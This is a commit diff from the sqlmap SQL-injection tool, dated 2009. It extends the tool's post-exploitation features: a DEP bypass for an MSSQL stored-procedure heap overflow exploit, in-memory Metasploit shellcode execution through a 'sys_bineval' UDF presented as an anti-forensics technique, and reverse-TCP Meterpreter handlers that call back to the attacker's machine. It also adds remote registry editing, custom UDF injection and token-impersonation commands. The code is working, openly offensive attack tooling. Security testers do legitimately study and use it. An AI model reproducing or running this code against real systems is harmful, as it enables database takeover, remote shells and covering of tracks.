Merged back from personal branch to trunk (svn merge -r846:940 ...)

Changes:
* Major enhancement to the Microsoft SQL Server stored procedure
heap-based buffer overflow exploit (--os-bof) to automatically bypass
DEP memory protection.
* Added support for MySQL and PostgreSQL to execute Metasploit shellcode
via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an
option instead of uploading the standalone payload stager executable.
* Added options for MySQL, PostgreSQL and Microsoft SQL Server to
read/add/delete Windows registry keys.
* Added options for MySQL and PostgreSQL to inject custom user-defined
functions.
* Added support for --first and --last so the user now has even more
granularity in what to enumerate in the query output.
* Minor enhancement to save the session by default in
'output/hostname/session' file if -s option is not specified.
* Minor improvement to automatically remove sqlmap created temporary
files from the DBMS underlying file system.
* Minor bugs fixed.
* Major code refactoring.
This commit is contained in:
Bernardo Damele
2009-09-25 23:03:45 +00:00
parent 458d59416c
commit 89c43893d4
52 changed files with 1698 additions and 647 deletions

View File

@@ -48,9 +48,22 @@ class Abstraction(UDF, xp_cmdshell):
xp_cmdshell.__init__(self)
def __cmdShellCleanup(self):
if not conf.cleanup:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.cleanup()
elif kb.dbms == "Microsoft SQL Server":
self.cleanup(onlyFileTbl=True)
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
def execCmd(self, cmd, silent=False, forgeCmd=False):
if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.udfExecCmd(cmd, silent)
self.udfExecCmd(cmd, silent=silent)
elif kb.dbms == "Microsoft SQL Server":
self.xpCmdshellExecCmd(cmd, silent, forgeCmd)
@@ -60,12 +73,12 @@ class Abstraction(UDF, xp_cmdshell):
raise sqlmapUnsupportedFeatureException, errMsg
def evalCmd(self, cmd):
def evalCmd(self, cmd, first=None, last=None):
if kb.dbms in ( "MySQL", "PostgreSQL" ):
return self.udfEvalCmd(cmd)
return self.udfEvalCmd(cmd, first, last)
elif kb.dbms == "Microsoft SQL Server":
return self.xpCmdshellEvalCmd(cmd)
return self.xpCmdshellEvalCmd(cmd, first, last)
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
@@ -89,8 +102,8 @@ class Abstraction(UDF, xp_cmdshell):
else:
self.execCmd(cmd, forgeCmd=True)
if kb.dbms == "Microsoft SQL Server":
self.cleanup(onlyFileTbl=True)
if not conf.osShell and not conf.cleanup:
self.__cmdShellCleanup()
def absOsShell(self):
@@ -138,20 +151,11 @@ class Abstraction(UDF, xp_cmdshell):
self.runCmd(command)
if not conf.cleanup:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.cleanup()
elif kb.dbms == "Microsoft SQL Server":
self.cleanup(onlyFileTbl=True)
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
self.__cmdShellCleanup()
def initEnv(self, mandatory=True, detailed=False):
if self.envInitialized == True:
if self.envInitialized is True:
return
self.checkDbmsOs(detailed)
@@ -162,11 +166,11 @@ class Abstraction(UDF, xp_cmdshell):
logger.warn(warnMsg)
if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.udfInit()
self.udfInjectCmd()
elif kb.dbms == "Microsoft SQL Server":
self.xpCmdshellInit(mandatory)
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
errMsg = "feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg

View File

@@ -1,171 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.data import kb
from lib.core.data import logger
from lib.core.session import setDEP
class DEP:
"""
This class defines methods to handle DEP (Data Execution Prevention)
The following operating systems has DEP enabled by default:
* Windows XP SP2+
* Windows Server 2003 SP1+
* Windows Vista SP0+
* Windows 2008 SP0+
References:
* http://support.microsoft.com/kb/875352
* http://en.wikipedia.org/wiki/Data_Execution_Prevention
"""
def __init__(self):
self.bypassDEP = False
self.__supportDEP = False
def __initVars(self, exe):
self.__DEPvalues = {
"OPTIN": "only Windows system binaries are covered by DEP by default",
"OPTOUT": "DEP is enabled by default for all processes, exceptions are allowed",
"ALWAYSON": "all processes always run with DEP applied, no exceptions allowed, giving it a try anyway",
"ALWAYSOFF": "no DEP coverage for any part of the system"
}
self.__excRegKey = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers"
self.__excRegValue = exe
self.__excRegValue = self.__excRegValue.replace("/", "\\")
def __addException(self):
infoMsg = "adding an exception to DEP in the Windows registry "
infoMsg += "for '%s' executable" % self.__excRegValue
logger.info(infoMsg)
if kb.dbms == "PostgreSQL":
warnMsg = "by default PostgreSQL server runs as postgres "
warnMsg += "user which has no privileges to add/delete "
warnMsg += "Windows registry keys, sqlmap will give it a try "
warnMsg += "anyway"
logger.warn(warnMsg)
self.addRegKey(self.__excRegKey, self.__excRegValue, "REG_SZ", "DisableNXShowUI")
def delException(self):
if self.bypassDEP == False:
return
infoMsg = "deleting the exception to DEP in the Windows registry "
infoMsg += "for Metasploit Framework 3 payload stager"
logger.info(infoMsg)
self.delRegKey(self.__excRegKey, self.__excRegValue)
def __analyzeDEP(self):
detectedValue = False
for value, explanation in self.__DEPvalues.items():
if value in kb.dep:
detectedValue = True
if value in ( "OPTIN", "ALWAYSOFF" ):
logger.info(explanation)
self.bypassDEP = False
elif value == "OPTOUT":
logger.info(explanation)
self.bypassDEP = True
self.__addException()
elif value == "ALWAYSON":
logger.warn(explanation)
self.bypassDEP = True
self.__addException()
if detectedValue == False:
warnMsg = "it was not possible to detect the DEP system "
warnMsg += "policy, sqlmap will threat as if "
warnMsg += "%s" % self.__DEPvalues["OPTOUT"]
logger.warn(warnMsg)
self.__addException()
def __systemHasDepSupport(self):
depEnabledOS = {
"2003": ( 1, 2 ),
"2008": ( 0, 1 ),
"XP": ( 2, 3 ),
"Vista": ( 0, 1 ),
}
for version, sps in depEnabledOS.items():
if kb.osVersion == version and kb.osSP in sps:
self.__supportDEP = True
break
def handleDep(self, exe):
logger.info("handling DEP")
self.__systemHasDepSupport()
if self.__supportDEP == True:
infoMsg = "the back-end DBMS underlying operating system "
infoMsg += "supports DEP: going to handle it"
logger.info(infoMsg)
elif not kb.osVersion or not kb.osSP:
warnMsg = "unable to fingerprint the back-end DBMS "
warnMsg += "underlying operating system version and service "
warnMsg += "pack: going to threat as if DEP is enabled"
logger.warn(warnMsg)
self.bypassDEP = True
else:
infoMsg = "the back-end DBMS underlying operating system "
infoMsg += "does not support DEP: no need to handle it"
logger.info(infoMsg)
return
logger.info("checking DEP system policy")
self.__initVars(exe)
if not kb.dep:
kb.dep = self.readRegKey("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control", "SystemStartOptions", True).upper()
setDEP()
self.__analyzeDEP()

View File

@@ -24,7 +24,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import binascii
import os
import re
import stat
@@ -67,6 +66,7 @@ class Metasploit:
self.portStr = None
self.payloadStr = None
self.encoderStr = None
self.payloadConnStr = None
self.resourceFile = None
@@ -93,14 +93,13 @@ class Metasploit:
self.__msfConnectionsList = {
"windows": {
1: ( "Bind TCP (default)", "bind_tcp" ),
2: ( "Bind TCP (No NX)", "bind_nonx_tcp" ),
3: ( "Reverse TCP", "reverse_tcp" ),
4: ( "Reverse TCP (No NX)", "reverse_nonx_tcp" ),
1: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ),
2: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
3: ( "Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports" ),
},
"linux": {
1: ( "Bind TCP (default)", "bind_tcp" ),
2: ( "Reverse TCP", "reverse_tcp" ),
1: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ),
2: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
}
}
@@ -130,8 +129,8 @@ class Metasploit:
}
self.__portData = {
"bind": "remote port numer",
"reverse": "local port numer",
"bind": "remote port number",
"reverse": "local port number",
}
@@ -186,7 +185,10 @@ class Metasploit:
def __selectEncoder(self, encode=True):
if kb.os == "Windows" and encode == True:
if isinstance(encode, str):
return encode
elif kb.os == "Windows" and encode is True:
return self.__skeletonSelection("payload encoding", self.__msfEncodersList)
@@ -330,10 +332,14 @@ class Metasploit:
self.payloadStr = self.__selectPayload(askChurrasco)
self.encoderStr = self.__selectEncoder(encode)
if self.payloadStr == "linux/x86/shell":
self.payloadConnStr = "%s_%s" % (self.payloadStr, self.connectionStr)
else:
self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
def __forgeMsfCliCmd(self, exitfunc="process"):
self.__cliCmd = "%s multi/handler PAYLOAD=" % self.__msfCli
self.__cliCmd += "%s/%s" % (self.payloadStr, self.connectionStr)
self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr)
self.__cliCmd += " EXITFUNC=%s" % exitfunc
self.__cliCmd += " LPORT=%s" % self.portStr
@@ -364,7 +370,7 @@ class Metasploit:
self.__resource = "use windows/smb/smb_relay\n"
self.__resource += "set SRVHOST %s\n" % self.lhostStr
self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort()
self.__resource += "set PAYLOAD %s/%s\n" % (self.payloadStr, self.connectionStr)
self.__resource += "set PAYLOAD %s\n" % self.payloadConnStr
self.__resource += "set LPORT %s\n" % self.portStr
if self.connectionStr.startswith("bind"):
@@ -384,8 +390,7 @@ class Metasploit:
def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
self.__payloadCmd = self.__msfPayload
self.__payloadCmd += " %s/%s" % (self.payloadStr, self.connectionStr)
self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr)
self.__payloadCmd += " EXITFUNC=%s" % exitfunc
self.__payloadCmd += " LPORT=%s" % self.portStr
@@ -395,19 +400,11 @@ class Metasploit:
elif not self.connectionStr.startswith("bind"):
raise sqlmapDataException, "unexpected connection type"
if kb.os == "Windows":
if kb.os == "Windows" or extra == "BufferRegister=EAX":
self.__payloadCmd += " R | %s -a x86 -e %s -o %s -t %s" % (self.__msfEncode, self.encoderStr, outFile, format)
if extra is not None:
self.__payloadCmd += " %s" % extra
# NOTE: payload stager for Linux can only be encoded if the
# Metasploit working copy has been updated after May 11, 2009
# (http://trac.metasploit.com/changeset/6543)
#
# TODO: remember to update this code as soon as Metasploit
# Framework 3.3 is out officially and update the user's manual to
# notify that sqlmap depends upon Metasploit Framework 3.3
else:
self.__payloadCmd += " X > %s" % outFile
@@ -431,6 +428,14 @@ class Metasploit:
self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE)
def __runMsfShellcodeRemote(self):
infoMsg = "running Metasploit Framework 3 shellcode "
infoMsg += "remotely via UDF 'sys_bineval', wait.."
logger.info(infoMsg)
self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval")
def __runMsfPayloadRemote(self):
infoMsg = "running Metasploit Framework 3 payload stager "
infoMsg += "remotely, wait.."
@@ -447,11 +452,6 @@ class Metasploit:
if kb.dbms == "Microsoft SQL Server":
cmd = self.xpCmdshellForgeCmd(cmd)
# NOTE: calling the Metasploit payload from a system() function in
# C on Windows (check on Linux the behaviour) for some reason
# hangs it and the HTTP response goes into timeout, this does not
# happen when running the it from Windows cmd.
# Investigate and fix if possible
self.execCmd(cmd, silent=True)
@@ -459,23 +459,25 @@ class Metasploit:
if kb.os != "Windows":
return
if self.resourceFile != None:
if self.resourceFile is not None:
proc.stdin.write("sessions -l\n")
proc.stdin.write("sessions -i %s\n" % metSess)
proc.stdin.write("getuid\n")
proc.stdin.write("use espia\n")
proc.stdin.write("use incognito\n")
proc.stdin.write("use priv\n")
proc.stdin.write("use sniffer\n")
if conf.privEsc == True:
print
infoMsg = "loading Meterpreter 'incognito' extension and "
infoMsg += "displaying the list of Access Tokens availables. "
infoMsg = "displaying the list of Access Tokens availables. "
infoMsg += "Choose which user you want to impersonate by "
infoMsg += "using incognito's command 'impersonate_token'"
logger.info(infoMsg)
proc.stdin.write("use incognito\n")
proc.stdin.write("getuid\n")
proc.stdin.write("list_tokens -u\n")
@@ -520,6 +522,12 @@ class Metasploit:
if pwnBofCond or smbRelayCond:
func()
if "Starting the payload handler" in out and "shell" in self.payloadStr:
if kb.os == "Windows":
proc.stdin.write("whoami\n")
else:
proc.stdin.write("uname -a ; id\n")
metSess = re.search("Meterpreter session ([\d]+) opened", out)
if metSess:
@@ -531,18 +539,16 @@ class Metasploit:
return returncode
def createMsfShellcode(self):
infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
infoMsg += "for the exploit"
def createMsfShellcode(self, exitfunc, format, extra, encode):
infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
logger.info(infoMsg)
self.__randStr = randomStr(lowercase=True)
self.__shellcodeFilePath = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
self.shellcodeChar = ""
self.__initVars()
self.__prepareIngredients(askChurrasco=False)
self.__forgeMsfPayloadCmd("seh", "raw", self.__shellcodeFilePath, "-b \"\\x00\\x27\"")
self.__prepareIngredients(encode=encode, askChurrasco=False)
self.__forgeMsfPayloadCmd(exitfunc, format, self.__shellcodeFilePath, extra)
logger.debug("executing local command: %s" % self.__payloadCmd)
process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
@@ -551,31 +557,29 @@ class Metasploit:
pollProcess(process)
payloadStderr = process.communicate()[1]
if kb.os == "Windows":
if kb.os == "Windows" or extra == "BufferRegister=EAX":
payloadSize = re.search("size ([\d]+)", payloadStderr, re.I)
else:
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
if payloadSize:
payloadSize = payloadSize.group(1)
payloadSize = int(payloadSize.group(1))
debugMsg = "the shellcode size is %s bytes" % payloadSize
if extra == "BufferRegister=EAX":
payloadSize = payloadSize / 2
debugMsg = "the shellcode size is %d bytes" % payloadSize
logger.debug(debugMsg)
else:
errMsg = "failed to create the shellcode (%s)" % payloadStderr
errMsg = "failed to create the shellcode (%s)" % payloadStderr.replace("\n", "")
raise sqlmapFilePathException, errMsg
self.__shellcodeFP = open(self.__shellcodeFilePath, "rb")
self.__shellcodeString = self.__shellcodeFP.read()
self.shellcodeString = self.__shellcodeFP.read()
self.__shellcodeFP.close()
os.unlink(self.__shellcodeFilePath)
hexStr = binascii.hexlify(self.__shellcodeString)
for hexPair in range(0, len(hexStr), 2):
self.shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2]
def createMsfPayloadStager(self, initialize=True):
if initialize == True:
@@ -647,14 +651,21 @@ class Metasploit:
os.unlink(self.exeFilePathLocal)
def pwn(self):
self.__runMsfCli(exitfunc="process")
def pwn(self, goUdf=False):
if goUdf is True:
exitfunc = "thread"
func = self.__runMsfShellcodeRemote
else:
exitfunc = "process"
func = self.__runMsfPayloadRemote
self.__runMsfCli(exitfunc=exitfunc)
if self.connectionStr.startswith("bind"):
self.__runMsfPayloadRemote()
func()
debugMsg = "Metasploit Framework 3 command line interface exited "
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.__runMsfPayloadRemote)
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func)
logger.debug(debugMsg)

View File

@@ -37,20 +37,20 @@ class Registry:
This class defines methods to read and write Windows registry keys
"""
def __initVars(self, regKey, regName, regType=None, regValue=None, parse=False):
def __initVars(self, regKey, regValue, regType=None, regData=None, parse=False):
self.__regKey = regKey
self.__regName = regName
self.__regType = regType
self.__regValue = regValue
self.__regType = regType
self.__regData = regData
self.__randStr = randomStr(lowercase=True)
self.__batPathRemote = "%s/sqlmapreg%s%s.bat" % (conf.tmpPath, self.__operation, self.__randStr)
self.__batPathLocal = "%s/sqlmapreg%s%s.bat" % (conf.outputPath, self.__operation, self.__randStr)
if parse == True:
readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regName + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
else:
readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regName + "\""
readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\""
self.__batRead = (
"@ECHO OFF\r\n",
@@ -59,24 +59,15 @@ class Registry:
self.__batAdd = (
"@ECHO OFF\r\n",
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regName, self.__regType, self.__regValue)
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regValue, self.__regType, self.__regData)
)
self.__batDel = (
"@ECHO OFF\r\n",
"REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regName)
"REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regValue)
)
def __execBatPathRemote(self):
if kb.dbms == "Microsoft SQL Server":
cmd = self.xpCmdshellForgeCmd(self.__batPathRemote)
else:
cmd = self.__batPathRemote
self.execCmd(cmd)
def __createLocalBatchFile(self):
self.__batPathFp = open(self.__batPathLocal, "w")
@@ -102,38 +93,49 @@ class Registry:
os.unlink(self.__batPathLocal)
def readRegKey(self, regKey, regName, parse):
def readRegKey(self, regKey, regValue, parse=False):
self.__operation = "read"
self.__initVars(regKey, regName, parse=parse)
self.__initVars(regKey, regValue, parse=parse)
self.__createRemoteBatchFile()
logger.debug("reading registry key '%s' name '%s'" % (regKey, regName))
logger.debug("reading registry key '%s' value '%s'" % (regKey, regValue))
return self.evalCmd(self.__batPathRemote)
if not parse:
first = len(regKey) + 6
else:
first = None
data = self.evalCmd(self.__batPathRemote, first)
self.delRemoteTempFile(self.__batPathRemote, bat=True)
return data
def addRegKey(self, regKey, regName, regType, regValue):
def addRegKey(self, regKey, regValue, regType, regData):
self.__operation = "add"
self.__initVars(regKey, regName, regType, regValue)
self.__initVars(regKey, regValue, regType, regData)
self.__createRemoteBatchFile()
debugMsg = "adding registry key name '%s' " % self.__regName
debugMsg = "adding registry key value '%s' " % self.__regValue
debugMsg += "to registry key '%s'" % self.__regKey
logger.debug(debugMsg)
self.__execBatPathRemote()
self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
self.delRemoteTempFile(self.__batPathRemote, bat=True)
def delRegKey(self, regKey, regName):
def delRegKey(self, regKey, regValue):
self.__operation = "delete"
self.__initVars(regKey, regName)
self.__initVars(regKey, regValue)
self.__createRemoteBatchFile()
debugMsg = "deleting registry key name '%s' " % self.__regName
debugMsg = "deleting registry key value '%s' " % self.__regValue
debugMsg += "from registry key '%s'" % self.__regKey
logger.debug(debugMsg)
self.__execBatPathRemote()
self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
self.delRemoteTempFile(self.__batPathRemote, bat=True)

View File

@@ -24,9 +24,21 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os
from lib.core.agent import agent
from lib.core.common import readInput
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.dump import dumper
from lib.core.exception import sqlmapFilePathException
from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.request import inject
from lib.techniques.outband.stacked import stackedTest
class UDF:
@@ -37,20 +49,71 @@ class UDF:
def __init__(self):
self.createdUdf = set()
self.udfs = {}
self.udfToCreate = set()
def udfExecCmd(self, cmd, silent=False):
def __askOverwriteUdf(self, udf):
message = "UDF '%s' already exists, do you " % udf
message += "want to overwrite it? [y/N] "
output = readInput(message, default="N")
if output and output[0] in ("y", "Y"):
return True
else:
return False
def __checkExistUdf(self, udf):
logger.info("checking if UDF '%s' already exist" % udf)
query = agent.forgeCaseStatement(queries[kb.dbms].checkUdf % (udf, udf))
exists = inject.getValue(query, resumeValue=False, unpack=False)
if exists == "1":
return True
else:
return False
def udfCheckAndOverwrite(self, udf):
exists = self.__checkExistUdf(udf)
overwrite = True
if exists is True:
overwrite = self.__askOverwriteUdf(udf)
if overwrite is True:
self.udfToCreate.add(udf)
def udfCreateSupportTbl(self, dataType):
debugMsg = "creating a support table to write commands standard "
debugMsg += "output to"
logger.debug(debugMsg)
self.createSupportTbl(self.cmdTblName, self.tblField, dataType)
def udfExecCmd(self, cmd, silent=False, udfName=None):
cmd = urlencode(cmd, convall=True)
inject.goStacked("SELECT sys_exec('%s')" % cmd, silent)
if udfName is None:
cmd = "'%s'" % cmd
udfName = "sys_exec"
inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent)
def udfEvalCmd(self, cmd):
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
cmd = urlencode(cmd, convall=True)
inject.goStacked("INSERT INTO %s(%s) VALUES (sys_eval('%s'))" % (self.cmdTblName, self.tblField, cmd))
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False)
if udfName is None:
cmd = "'%s'" % cmd
udfName = "sys_eval"
inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd))
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last)
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
if isinstance(output, (list, tuple)):
@@ -62,6 +125,258 @@ class UDF:
return output
def udfInit(self):
errMsg = "udfInit() method must be defined within the plugin"
def udfCreateFromSharedLib(self):
errMsg = "udfSetRemotePath() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException, errMsg
def udfSetRemotePath(self):
errMsg = "udfSetRemotePath() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException, errMsg
def udfInjectCmd(self):
errMsg = "udfInjectCmd() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException, errMsg
def udfInjectCore(self, udfDict):
for udf in udfDict.keys():
if udf in self.createdUdf:
continue
self.udfCheckAndOverwrite(udf)
if len(self.udfToCreate) > 0:
self.udfSetRemotePath()
self.writeFile(self.udfLocalFile, self.udfRemoteFile, "binary", False)
for udf, inpRet in udfDict.items():
if udf in self.udfToCreate and udf not in self.createdUdf:
self.udfCreateFromSharedLib(udf, inpRet)
if kb.dbms == "MySQL":
supportTblType = "longtext"
elif kb.dbms == "PostgreSQL":
supportTblType = "text"
self.udfCreateSupportTbl(supportTblType)
def udfInjectCustom(self):
if kb.dbms not in ( "MySQL", "PostgreSQL" ):
errMsg = "UDF injection feature is not yet implemented on %s" % kb.dbms
raise sqlmapUnsupportedFeatureException, errMsg
stackedTest()
if kb.stackedTest == False:
return
self.checkDbmsOs()
if self.isDba() == False:
warnMsg = "the functionality requested might not work because "
warnMsg += "the session user is not a database administrator"
logger.warn(warnMsg)
if not conf.shLib:
msg = "which is the local path of the shared library? "
while True:
self.udfLocalFile = readInput(msg)
if self.udfLocalFile:
break
else:
logger.warn("you need to specify the local path of the shared library")
else:
self.udfLocalFile = conf.shLib
if not os.path.exists(self.udfLocalFile):
errMsg = "the specified shared library file does not exist"
raise sqlmapFilePathException, errMsg
if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"):
errMsg = "shared library file must end with '.dll' or '.so'"
raise sqlmapMissingMandatoryOptionException, errMsg
elif self.udfLocalFile.endswith(".so") and kb.os == "Windows":
errMsg = "you provided a shared object as shared library, but "
errMsg += "the database underlying operating system is Windows"
raise sqlmapMissingMandatoryOptionException, errMsg
elif self.udfLocalFile.endswith(".dll") and kb.os == "Linux":
errMsg = "you provided a dynamic-link library as shared library, "
errMsg += "but the database underlying operating system is Linux"
raise sqlmapMissingMandatoryOptionException, errMsg
self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0]
self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1]
msg = "how many user-defined functions do you want to create "
msg += "from the shared library? "
while True:
udfCount = readInput(msg, default=1)
if isinstance(udfCount, str) and udfCount.isdigit():
udfCount = int(udfCount)
if udfCount <= 0:
logger.info("nothing to inject then")
return
else:
break
elif isinstance(udfCount, int):
break
else:
logger.warn("invalid value, only digits are allowed")
for x in range(0, udfCount):
while True:
msg = "what is the name of the UDF number %d? " % (x + 1)
udfName = readInput(msg)
if udfName:
self.udfs[udfName] = {}
break
else:
logger.warn("you need to specify the name of the UDF")
if kb.dbms == "MySQL":
defaultType = "string"
elif kb.dbms == "PostgreSQL":
defaultType = "text"
self.udfs[udfName]["input"] = []
default = 1
msg = "how many input parameters takes UDF "
msg += "'%s'? (default: %d) " % (udfName, default)
while True:
parCount = readInput(msg, default=default)
if isinstance(parCount, str) and parCount.isdigit() and int(parCount) >= 0:
parCount = int(parCount)
break
elif isinstance(parCount, int):
break
else:
logger.warn("invalid value, only digits >= 0 are allowed")
for y in range(0, parCount):
msg = "what is the data-type of input parameter "
msg += "number %d? (default: %s) " % ((y + 1), defaultType)
while True:
parType = readInput(msg, default=defaultType)
if isinstance(parType, str) and parType.isdigit():
logger.warn("you need to specify the data-type of the parameter")
else:
self.udfs[udfName]["input"].append(parType)
break
msg = "what is the data-type of the return "
msg += "value? (default: %s) " % defaultType
while True:
retType = readInput(msg, default=defaultType)
if isinstance(retType, str) and retType.isdigit():
logger.warn("you need to specify the data-type of the return value")
else:
self.udfs[udfName]["return"] = retType
break
self.udfInjectCore(self.udfs)
msg = "do you want to call your injected user-defined "
msg += "functions now? [Y/n/q] "
choice = readInput(msg, default="Y")
if choice[0] not in ( "y", "Y" ):
self.cleanup(udfDict=self.udfs)
return
while True:
udfList = []
msg = "which UDF do you want to call?"
for udf, inpRet in self.udfs.items():
udfList.append(udf)
msg += "\n[%d] %s" % (len(udfList), udf)
msg += "\n[q] Quit"
while True:
choice = readInput(msg)
if choice[0] in ( "q", "Q" ):
break
if isinstance(choice, str) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
choice = int(choice)
break
elif isinstance(choice, int) and choice > 0 and choice <= len(udfList):
break
else:
warnMsg = "invalid value, only digits >= 1 and "
warnMsg += "<= %d are allowed" % len(udfList)
logger.warn(warnMsg)
cmd = ""
count = 1
udfToCall = udfList[choice - 1]
for inp in self.udfs[udfToCall]["input"]:
msg = "what is the value of the parameter number "
msg += "%d (data-type: %s)? " % (count, inp)
while True:
parValue = readInput(msg)
if parValue:
if "int" not in inp and "bool" not in inp:
parValue = "'%s'" % parValue
cmd += "%s," % parValue
break
else:
logger.warn("you need to specify the value of the parameter")
count += 1
cmd = cmd[:-1]
msg = "do you want to retrieve the return value of the "
msg += "UDF? [Y/n] "
choice = readInput(msg, default="Y")
if choice[0] in ("y", "Y"):
output = self.udfEvalCmd(cmd, udfName=udfToCall)
if output:
dumper.string("return value", output)
else:
print "No return value"
else:
self.udfExecCmd(cmd, udfName=udfToCall, silent=True)
msg = "do you want to call this or another injected UDF? [Y/n] "
choice = readInput(msg, default="Y")
if choice[0] not in ("y", "Y"):
break
self.cleanup(udfDict=self.udfs)

View File

@@ -134,20 +134,20 @@ class xp_cmdshell:
inject.goStacked(cmd, silent)
def xpCmdshellEvalCmd(self, cmd):
def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
self.getRemoteTempPath()
tmpFile = "%s/sqlmapevalcmd%s.txt" % (conf.tmpPath, randomStr(lowercase=True))
cmd = self.xpCmdshellForgeCmd("%s > %s" % (cmd, tmpFile))
self.xpCmdshellExecCmd(cmd)
self.xpCmdshellExecCmd("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10)))
cmd = self.xpCmdshellForgeCmd("del /F %s" % tmpFile.replace("/", "\\"))
self.xpCmdshellExecCmd(cmd)
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10)))
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False)
self.xpCmdshellExecCmd("DELETE FROM %s" % self.cmdTblName)
self.delRemoteTempFile(tmpFile)
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False, firstChar=first, lastChar=last)
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
if isinstance(output, (list, tuple)):
output = output[0]